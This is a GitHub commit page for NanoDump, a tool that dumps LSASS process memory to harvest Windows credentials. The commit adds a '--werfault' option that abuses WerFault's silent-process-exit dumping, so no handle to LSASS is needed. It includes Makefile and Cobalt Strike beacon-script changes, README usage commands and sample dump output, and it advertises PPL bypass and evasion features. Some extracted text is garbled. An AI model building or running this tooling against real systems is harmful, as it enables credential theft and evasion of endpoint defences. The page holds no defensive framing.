

Commit

add WerFault Silent Process Exit: --werfault

now you can let WerFault dump lsass for you :)  
No handle to LSASS needed!

Loading branch information.

S4ntiagoP committed on Jun 23, 2022

1 parent 91d7b5c commit 578116f

Browse files

Showing 29 changed files with 1,953 additions and 44 deletions. Whitespace Ignore whitespace Split Unified

- Filter changed files
- Makefile.mingw




Makefile.msvc

NanoDump.cna







README.md

dist

22	Makefile.mingw	
9	9	nanodump: clean
10	10	\$(info ##### RELEASE #####)
11	11	
12	-	\$(CC_x64) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME).x64.exe \$(OPTIONS) -DNANO -DEXE
12	+	\$(CC_x64) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/\$(BOFNAME).x64.exe \$(OPTIONS) -DNANO -DEXE
13	13	\$(STRIP_x64) --strip-all dist/\$(BOFNAME).x64.exe
14	14	
15	-	\$(CC_x86) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME).x86.exe \$(OPTIONS) -DNANO -DEXE
15	+	\$(CC_x86) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/\$(BOFNAME).x86.exe \$(OPTIONS) -DNANO -DEXE
16	16	\$(STRIP_x86) --strip-all dist/\$(BOFNAME).x86.exe
17	17	
18	18	\$(CC_x64) -c source/entry.c -o dist/\$(BOFNAME).x64.o \$(OPTIONS) -DNANO -DBOF
19	19	\$(STRIP_x64) --strip-unneeded dist/\$(BOFNAME).x64.o
20	20	
21	-	\$(CC_x64) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME)_ssp.x64.dll \$(OPTIONS) -DNANO -DSSP -DDDL -shared
21	+	\$(CC_x64) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME)_ssp.x64.dll \$(OPTIONS) -DNANO -DSSP -DDDL -shared
22	22	\$(STRIP_x64) --strip-all dist/\$(BOFNAME)_ssp.x64.dll
23	23	
24	-	\$(CC_x86) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME)_ssp.x86.dll \$(OPTIONS) -DNANO -DSSP -DDDL -shared
24	+	\$(CC_x86) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME)_ssp.x86.dll \$(OPTIONS) -DNANO -DSSP -DDDL -shared













25	25	\$(STRIP_x86) --strip-all dist/\$(BOFNAME)_ssp.x86.dll
26	26	
27	27	\$(CC_x64) -c source/load_ssp.c -o dist/load_ssp.x64.o \$(OPTIONS) -DBOF
		@@ -42,7 +42,7 @@ nanodump: clean
42	42	\$(STRIP_x64) --strip-all dist/\$(BOFNAME)_ppl.x64.dll
43	43	./dist/bin2c dist/\$(BOFNAME)_ppl.x64.dll nanodump_ppl_dll > include/\$(BOFNAME)_ppl_dll.x64.h
44	44	
45	-	\$(CC_x86) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME)_ppl.x86.dll \$(OPTIONS) -DNANO -DPPL -DDDL -shared
	45	\$(CC_x86) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/\$(BOFNAME)_ppl.x86.dll \$(OPTIONS) -DNANO -DPPL -DDDL - shared
46	46	\$(STRIP_x86) --strip-all dist/\$(BOFNAME)_ppl.x86.dll
47	47	./dist/bin2c dist/\$(BOFNAME)_ppl.x86.dll nanodump_ppl_dll > include/\$(BOFNAME)_ppl_dll.x86.h
48	48	
		@@ -60,15 +60,15 @@ nanodump: clean
60	60	debug: clean
61	61	\$(info ##### DEBUG #####)
62	62	
63	-	\$(CC_x64) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME).x64.exe \$(OPTIONS) -DNANO -DEXE -DDEBUG
	63	\$(CC_x64) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/\$(BOFNAME).x64.exe \$(OPTIONS) -DNANO -DEXE -DDEBUG
64	64	
65	-	\$(CC_x86) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME).x86.exe \$(OPTIONS) -DNANO -DEXE -DDEBUG
	65	\$(CC_x86) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/\$(BOFNAME).x86.exe \$(OPTIONS) -DNANO -DEXE -DDEBUG
66	66	
67	67	\$(CC_x64) -c source/entry.c -o dist/\$(BOFNAME).x64.o \$(OPTIONS) -DNANO -DBOF -DDEBUG
68	68	
69	-	\$(CC_x64) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME)_ssp.x64.dll \$(OPTIONS) -DNANO -DSSP -DDDL - shared -DDEBUG
	69	\$(CC_x64) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME)_ssp.x64.dll \$(OPTIONS) -DNANO -DSSP -DDDL - shared -DDEBUG
70	70	
71	-	\$(CC_x86) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME)_ssp.x86.dll \$(OPTIONS) -DNANO -DSSP -DDDL - shared -DDEBUG
	71	\$(CC_x86) source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME)_ssp.x86.dll \$(OPTIONS) -DNANO -DSSP -DDDL - shared -DDEBUG
72	72	
73	73	\$(CC_x64) -c source/load_ssp.c -o dist/load_ssp.x64.o \$(OPTIONS) -DBOF -DDEBUG
74	74	
		@@ -80,10 +80,10 @@ debug: clean
80	80	
81	81	\$(GCC) source/bin2c.c -o dist/bin2c
82	82	
83	-	\$(CC_x64) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c

		source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME)_ppl.x64.dll \$(OPTIONS) -DNANO -DPPL -DDDL -shared -DDEBUG
83	+	\$(CC_x64) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/\$(BOFNAME)_ppl.x64.dll \$(OPTIONS) -DNANO -DPPL -DDDL -shared -DDEBUG
84	84	./dist/bin2c dist/\$(BOFNAME)_ppl.x64.dll nanodump_ppl_dll > include/\$(BOFNAME)_ppl_dll.x64.h
85	85	
86	-	\$(CC_x86) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c -o dist/\$(BOFNAME)_ppl.x86.dll \$(OPTIONS) -DNANO -DPPL -DDDL -shared -DDEBUG
86	+	\$(CC_x86) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/\$(BOFNAME)_ppl.x86.dll \$(OPTIONS) -DNANO -DPPL -DDDL -shared -DDEBUG
87	87	./dist/bin2c dist/\$(BOFNAME)_ppl.x86.dll nanodump_ppl_dll > include/\$(BOFNAME)_ppl_dll.x86.h
88	88	
89	89	\$(CC_x64) source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/ppl/ppl.c -o dist/\$(BOFNAME)_ppl.x64.exe \$(OPTIONS) -DEXE -DPPL -DDEBUG
↓		
18 Makefile.msvc		
		@@ -6,8 +6,8 @@ nanodump:
6	6	@echo ##### RELEASE #####
7	7	ML64 /c source/syscalls-asm.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64
8	8	
9	-	cl.exe -DNANO -DEXE \$(OPTIONS) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c
10	-	link.exe /OUT:dist\nanodump.x64.exe -nologo \$(LIBS) /MACHINE:X64 - subsystem:console -nodefaultlib entry.obj nanodump.obj utils.obj dinvoke.obj token_priv.obj handle.obj malseclogon.obj modules.obj syscalls-asm.obj syscalls.obj
9	+	cl.exe -DNANO -DEXE \$(OPTIONS) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c
10	+	link.exe /OUT:dist\nanodump.x64.exe -nologo \$(LIBS) /MACHINE:X64 - subsystem:console -nodefaultlib entry.obj nanodump.obj utils.obj dinvoke.obj token_priv.obj handle.obj malseclogon.obj werfault.obj modules.obj syscalls-asm.obj syscalls.obj
11	11	
12	12	# cl.exe -DNANO -DBOF /Fo:dist\nanodump.x64.o \$(OPTIONS) source/entry.c
13	13	
		@@ -23,8 +23,8 @@ nanodump:
23	23	
24	24	cl.exe source/bin2c.c /Fe:dist\bin2c.exe
25	25	
26	-	cl.exe -DNANO -DPPL -DDL \$(OPTIONS) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c
27	-	link.exe -DLL /OUT:dist\nanodump_ppl.x64.dll -nologo \$(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib entry.obj nanodump.obj utils.obj modules.obj syscalls-asm.obj syscalls.obj output.obj cleanup.obj dinvoke.obj handle.obj token_priv.obj malseclogon.obj
26	+	cl.exe -DNANO -DPPL -DDL \$(OPTIONS) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c
27	+	link.exe -DLL /OUT:dist\nanodump_ppl.x64.dll -nologo \$(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib entry.obj nanodump.obj utils.obj modules.obj syscalls-asm.obj syscalls.obj output.obj cleanup.obj dinvoke.obj handle.obj token_priv.obj malseclogon.obj werfault.obj
28	28	.\dist\bin2c.exe dist\nanodump_ppl.x64.dll nanodump_ppl_dll > include\nanodump_ppl_dll.x64.h
29	29	

30	30	cl.exe -DEXE -DPPL \$(OPTIONS) source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/ppl/ppl.c
		@@ -36,8 +36,8 @@ debug:
36	36	@echo ##### DEBUG #####
37	37	ML64 /c source/syscalls-asm.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64
38	38	
39	-	cl.exe -DNANO -DEXE -DDEBUG \$(OPTIONS) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c
40	-	link.exe /OUT:dist\nanodump.x64.exe -nologo \$(LIBS) /MACHINE:X64 - subsystem:console -nodefaultlib entry.obj nanodump.obj utils.obj dinvoke.obj token_priv.obj handle.obj malseclogon.obj modules.obj syscalls-asm.obj syscalls.obj
	39	+ cl.exe -DNANO -DEXE -DDEBUG \$(OPTIONS) source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c
	40	+ link.exe /OUT:dist\nanodump.x64.exe -nologo \$(LIBS) /MACHINE:X64 - subsystem:console -nodefaultlib entry.obj nanodump.obj utils.obj dinvoke.obj token_priv.obj handle.obj malseclogon.obj werfault.obj modules.obj syscalls- asm.obj syscalls.obj
41	41	
42	42	# cl.exe -DNANO -DBOF -DDEBUG /Fo:dist\nanodump.x64.o \$(OPTIONS) source/entry.c
43	43	
		@@ -53,8 +53,8 @@ debug:
53	53	
54	54	cl.exe source/bin2c.c /Fe:dist\bin2c.exe
55	55	
56	-	cl.exe -DNANO -DPPL -DDL -DDEBUG \$(OPTIONS) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c
57	-	link.exe -DLL /OUT:dist\nanodump_ppl.x64.dll -nologo \$(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib entry.obj nanodump.obj utils.obj modules.obj syscalls-asm.obj syscalls.obj output.obj cleanup.obj dinvoke.obj handle.obj token_priv.obj malseclogon.obj
	56	+ cl.exe -DNANO -DPPL -DDL -DDEBUG \$(OPTIONS) source/output.c source/ppl/cleanup.c source/utils.c source/dinvoke.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c
	57	+ link.exe -DLL /OUT:dist\nanodump_ppl.x64.dll -nologo \$(LIBS) /MACHINE:X64 -subsystem:console -nodefaultlib entry.obj nanodump.obj utils.obj modules.obj syscalls-asm.obj syscalls.obj output.obj cleanup.obj dinvoke.obj handle.obj token_priv.obj malseclogon.obj werfault.obj
58	58	.\dist\bin2c.exe dist\nanodump_ppl.x64.dll nanodump_ppl_dll > include\nanodump_ppl_dll.x64.h
59	59	
60	60	cl.exe -DEXE -DPPL -DDEBUG \$(OPTIONS) source/utils.c source/syscalls.c source/dinvoke.c source/token_priv.c source/ppl/ppl_utils.c source/ppl/ppl.c
		@@ -63,4 +63,4 @@ debug:
63	63	cl.exe source/restore_signature.c /Fe:scripts\restore_signature.exe
64	64	
65	65	clean:
66	-	@del /Q token_priv.obj dinvoke.obj entry.obj handle.obj load_ssp.obj malseclogon.obj modules.obj nanodump.obj syscalls-asm.obj syscalls.obj utils.obj dist\delete_file.x64.o dist\load_ssp.x64.exe dist\load_ssp.x64.o dist\nanodump.x64.exe dist\nanodump.x64.o dist\nanodump_ssp.x64.dll dist\nanodump_ssp.x64.exp dist\nanodump_ssp.x64.lib dist\nanodump_ppl.x64.lib dist\nanodump_ppl.x64.dll
	66	+ @del /Q token_priv.obj dinvoke.obj entry.obj handle.obj load_ssp.obj malseclogon.obj werfault.obj modules.obj nanodump.obj syscalls-asm.obj syscalls.obj utils.obj dist\delete_file.x64.o dist\load_ssp.x64.exe dist\load_ssp.x64.o dist\nanodump.x64.exe dist\nanodump.x64.o dist\nanodump_ssp.x64.dll dist\nanodump_ssp.x64.exp dist\nanodump_ssp.x64.lib dist\nanodump_ppl.x64.lib dist\nanodump_ppl.x64.dll
✓  28 <div><div></div><div></div><div></div><div></div><div></div></div> NanoDump.cna 		...
		@@ -41,9 +41,9 @@ local('\$string \$c');
41	41	beacon_command_register( 42 42 "nanodump", 43 43 "Use syscalls to dump LSASS.",

44		- "Usage: nanodump [--getpid] [--write C:\\Windows\\Temp\\doc.docx] [--valid] [-fork] [--snapshot] [--dup] [--malseclogon] [--binary C:\\Windows\\notepad.exe]);
	44	+ "Usage: nanodump [--getpid] [--write C:\\Windows\\Temp\\doc.docx] [--valid] [-fork] [--snapshot] [--dup] [--malseclogon] [--binary C:\\Windows\\notepad.exe] [--werfault C:\\Windows\\Temp]);
45	45	alias nanodump {
46		- local('\$barch \$handle \$bof \$exe \$args \$pid \$cname \$dump_path \$write_file \$use_valid_sig \$fork \$snapshot \$dup \$i \$get_pid \$use_malseclogon \$folder \$nanodump_binary');
	46	+ local('\$barch \$handle \$bof \$exe \$args \$pid \$cname \$dump_path \$write_file \$use_valid_sig \$fork \$snapshot \$dup \$i \$get_pid \$use_malseclogon \$folder \$nanodump_binary \$werfault_lsass \$use_werfault');
47	47	
48	48	\$barch = barch(\$1);
49	49	if(\$barch eq "x86")
<div>↕</div>		@@ -69,6 +69,9 @@ alias nanodump {
69	69	return;
70	70	}
71	71	
	72	+ # by default, don't use werfault
	73	+ \$werfault_lsass = "";
	74	+ \$use_werfault = 0;
72	75	# by default, don't set any decoy binary
73	76	\$binary_path = "";
74	77	# by default, do not use MalSecLogon
<div>↓ ↑</div>		@@ -167,6 +170,17 @@ alias nanodump {
167	170	return;
168	171	}
169	172	}
	173	+ else if (@_[ \$i ] eq "--werfault"    @_[ \$i ] eq "-wf")
	174	{
	175	+ \$i++;
	176	+ if(\$i >= size(@_))
	177	{
	178	+ berror(\$1, "missing --werfault value");
	179	+ return;
	180	+ }
	181	+ \$use_werfault = 1;
	182	+ \$werfault_lsass = @_[ \$i ];
	183	+ }
170	184	else if (@_[ \$i ] eq "--help"    @_[ \$i ] eq "-h")
171	185	{
172	186	berror(\$1, beacon_command_detail("nanodump"));
<div>↕</div>		@@ -178,6 +192,14 @@ alias nanodump {
178	192	return;
179	193	}
180	194	}
	195	+ if (\$use_werfault &&
	196	+ (\$fork    \$snapshot    \$dup
	197	+ \$use_malseclogon    \$use_valid_sig    \$get_pid
	198	+ strlen(\$binary_path) != 0    \$write_file))
	199	{
	200	+ berror(\$1, "The option --werfault cannot be combined with any other");
	201	+ return;
	202	+ }
181	203	
182	204	if(\$fork && \$snapshot)
183	205	{
<div>↓ ↑</div>		@@ -228,7 +250,7 @@ alias nanodump {
228	250	}
229	251	
230	252	# pack the arguments
231		- \$args = bof_pack(\$1, "iziiiiiiiz", \$pid, \$dump_path, \$write_file, \$use_valid_sig, \$fork, \$snapshot, \$dup, \$get_pid, \$use_malseclogon, \$binary_path);
	253	+ \$args = bof_pack(\$1, "iziiiiiiiziz", \$pid, \$dump_path, \$write_file, \$use_valid_sig, \$fork, \$snapshot, \$dup, \$get_pid, \$use_malseclogon, \$binary_path, \$use_werfault, \$werfault_lsass);
232	254	
233	255	# run

234	256	btask(\$1, "Running NanoDump BOF");
⋮ ↓		
✓ ↕ 36	■■■■■	README.md
⋮ ↑		@@ -16,6 +16,7 @@ A flexible tool that creates a minidump of the LSASS process.
16	16	<li><a href="#malseclogon-and-duplicate">MalSecLogon and handle duplication</a></li>
17	17	<li><a href="#ssp">Load nanodump as an SSP</a></li>
18	18	<li><a href="#ppl">PPL bypass</a></li>
19	+	<li><a href="#wer">WerFault</a></li>
19	20	<li><a href="#params">Parameters</a></li>
20	21	<li><a href="#examples">Examples</a></li>
21	22	<li><a href="#redirectors">HTTPS redirectors</a></li>
⋮ ↓ ⋮ ↑		@@ -160,8 +161,29 @@ To access this feature, use the `nanodump_ppl` command
160	161	beacon> nanodump_ppl -v -w C:\Windows\Temp\lsass.dmp
161	162	```
162	163	
	164	+ <h2 id="wer">10. WerFault</h2>
	165	+ You can force the WerFault.exe process to create a full memory dump of LSASS. Take into consideration that this requires to write to the registry
163	166	
164		- <h2 id="params">10. Parameters</h2>
	167	+ Because the dump is not made by nanodump, it will always have a valid signature.
	168	+
	169	+ To access this feature, use the `--werfault` parameter and the path there the dump should be created.
	170	+ ```
	171	+ beacon> nanodump --werfault C:\Windows\Temp\
	172	+ ```
	173	+
	174	+ A dump of the nanodump process will also be created, similar to this:
	175	+ ```
	176	+ PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'
	177	+
	178	+ Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593
	179	+
	180	+ Mode LastWriteTime Length Name
	181	+ ---- -
	182	+ -a---- 6/23/2022 7:40 AM 58830409 lsass.exe-(PID-648).dmp
	183	+ -a---- 6/23/2022 7:40 AM 7862825 nanodump.x64.exe-(PID-3224).dmp
	184	+ ```
	185	+
	186	+ <h2 id="params">11. Parameters</h2>
165	187	
166	188	#### --getpid
167	189	Get PID of LSASS and leave.
⋮ ↓ ⋮ ↑		@@ -194,8 +216,10 @@ Leak a handle to LSASS using MalSecLogon.
194	216	Path to a binary such as `C:\Windows\notepad.exe`.
195	217	This option is used exclusively with `--malseclogon` and `--dup`.
196	218	
	219	+ #### --werfault -wf < folder >
	220	+ Path to the folder where the WerFault process will create an LSASS dump.
197	221	
198		- <h2 id="examples">11. Examples</h2>
	222	+ <h2 id="examples">12. Examples</h2>
199	223	
200	224	Read LSASS indirectly by creating a fork and write the dump to disk with an invalid signature:
201	225	```
⋮ ↓ ⋮ ↑		@@ -243,7 +267,12 @@ Dump LSASS bypassing PPL, duplicating the handle that csrss.exe has on LSASS:
243	267	beacon> nanodump_ppl --dup --write C:\Windows\Temp\lsass.dmp
244	268	```
245	269	
246		- <h2 id="redirectors">12. HTTPS redirectors</h2>
	270	+ Make the WerFault.exe process create a full memory dump in the Temp folder:
	271	+ ```
	272	+ beacon> nanodump --werfault C:\Windows\Temp\
	273	+ ```

	274	+	
	275	+ <h2 id="redirectors">13. HTTPS redirectors</h2>	
247	276		
248	277	If you are using an HTTPS redirector (as you should), you might run into issues when downloading the dump filelessly due to the size of the requests that leak the dump.	
249	278	Increase the max size of requests on your web server to allow nanodump to download the dump.	
	<div>⌵ ↓ ⌶ ↑ ⌵</div>	@@ -272,3 +301,4 @@ location ~ ^...\$ {	
272	301	- [Matteo Malvica](https://twitter.com/matteomalvica) for [Evading WinDefender ATP credential-theft: a hit after a hit-and-miss start] ( <a href="https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/">https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/</a> )	
273	302	- [James Forshaw](https://twitter.com/tiraniddo) for [Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html)	
274	303	- [itm4n](https://twitter.com/itm4n) for the original PPL userland exploit implementation, [PPLDump](https://github.com/itm4n/PPLdump).	
	304	+ - [Asaf Gilboa](https://mobile.twitter.com/asaf_gilboa) for [Lsass Memory Dumps are Stealthier than Ever Before - Part 2] ( <a href="https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2">https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2</a> )	
▼ BIN +1.98 KB (110%) dist/delete_file.x64.o  ...			
Binary file not shown.			
▼ BIN +1.5 KB (100%) dist/load_ssp.x64.exe  ...			
Binary file not shown.			
▼ BIN +2 KB (110%) dist/load_ssp.x64.o  ...			
Binary file not shown.			
▼ BIN +512 Bytes (100%) dist/load_ssp.x86.exe  ...			
Binary file not shown.			
▼ BIN +8 KB (110%) dist/nanodump.x64.exe  ...			
Binary file not shown.			
▼ BIN +8.62 KB (120%) dist/nanodump.x64.o  ...			
Binary file not shown.			
▼ BIN +7.5 KB (110%) dist/nanodump.x86.exe  ...			
Binary file not shown.			
▼ BIN +2.5 KB (110%) dist/nanodump_pp1.x64.dll  ...			
Binary file not shown.			
▼ BIN +3.5 KB (100%) dist/nanodump_pp1.x64.exe  ...			
Binary file not shown.			
▼ BIN +1.98 KB (100%) dist/nanodump_pp1.x64.o  ...			
Binary file not shown.			
▼ BIN +5.5 KB (110%) dist/nanodump_pp1.x86.dll  ...			
Binary file not shown.			
▼ BIN +6 KB (110%) dist/nanodump_pp1.x86.exe  ...			



Binary file not shown.

▼ BIN +1 KB (100%) dist/nanodump\_ssp.x64.dll

...

Binary file not shown.

▼ BIN +1.5 KB (110%) dist/nanodump\_ssp.x86.dll

...

Binary file not shown.

▼ 4 include/nanodump.h

...

		@@ -20,6 +20,7 @@
20	20	#include "syscalls.h"
21	21	#include "token_priv.h"
22	22	#include "malseclogon.h"
	23	+ #include "werfault.h"
23	24	#endif
24	25	
25	26	// amount of memory requested to write the dump: 200 MiB
		@@ -110,6 +111,8 @@
110	111	WINBASEAPI char * __cdecl MSVCRT\$strncat(char * _Dest,const char *
		_Source, size_t __n);
111	112	WINBASEAPI int __cdecl MSVCRT\$_vscprintf(const char *format, va_list
		argptr);
112	113	WINBASEAPI int __cdecl MSVCRT\$vsprintf_s(char *_DstBuf,size_t
		_Size,const char *_Format,va_list _ArgList);
	114	+ WINBASEAPI size_t __cdecl MSVCRT\$wcslen(const wchar_t *_Str);
	115	+
113	116	
114	117	#define GetProcessHeap KERNEL32\$GetProcessHeap
115	118	#define HeapAlloc KERNEL32\$HeapAlloc
		@@ -138,6 +141,7 @@
138	141	#define strncat MSVCRT\$strncat
139	142	#define _vscprintf MSVCRT\$_vscprintf
140	143	#define vsprintf_s MSVCRT\$vsprintf_s
	144	+ #define wcslen MSVCRT\$wcslen
141	145	#endif
142	146	
143	147	#define MINIDUMP_SIGNATURE 0x504d444d

▼ 2 include/ntdefs.h

...

		@@ -16,6 +16,7 @@
16	16	#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
17	17	#endif
18	18	
	19	+ #define STATUS_SUCCE\$ 0x00000000
19	20	#define STATUS_UNSUCCESSFUL 0xC0000001
20	21	#define STATUS_PARTIAL_COPY 0x8000000D
21	22	#define STATUS_ACCESS_DENIED 0xC0000022
		@@ -29,6 +30,7 @@
29	30	#define STATUS_OBJECT_PATH_SYNTAX_BAD 0xC000003B
30	31	#define STATUS_BUFFER_TOO_SMALL 0xC0000023
31	32	#define STATUS_OBJECT_NAME_COLLISION 0xC0000035
	33	+ #define STATUS_ALERTED 0x00000101
32	34	
33	35	struct _RTL_BALANCED_NODE
34	36	{



0 comments on commit 578116f



Please [sign in](#) to comment.



© 2024 GitHub, Inc.

[Terms](#)

[Privacy](#)

[Security](#)

[Status](#)

[Docs](#)

[Contact](#)

[Manage cookies](#)

[Do not share my personal information](#)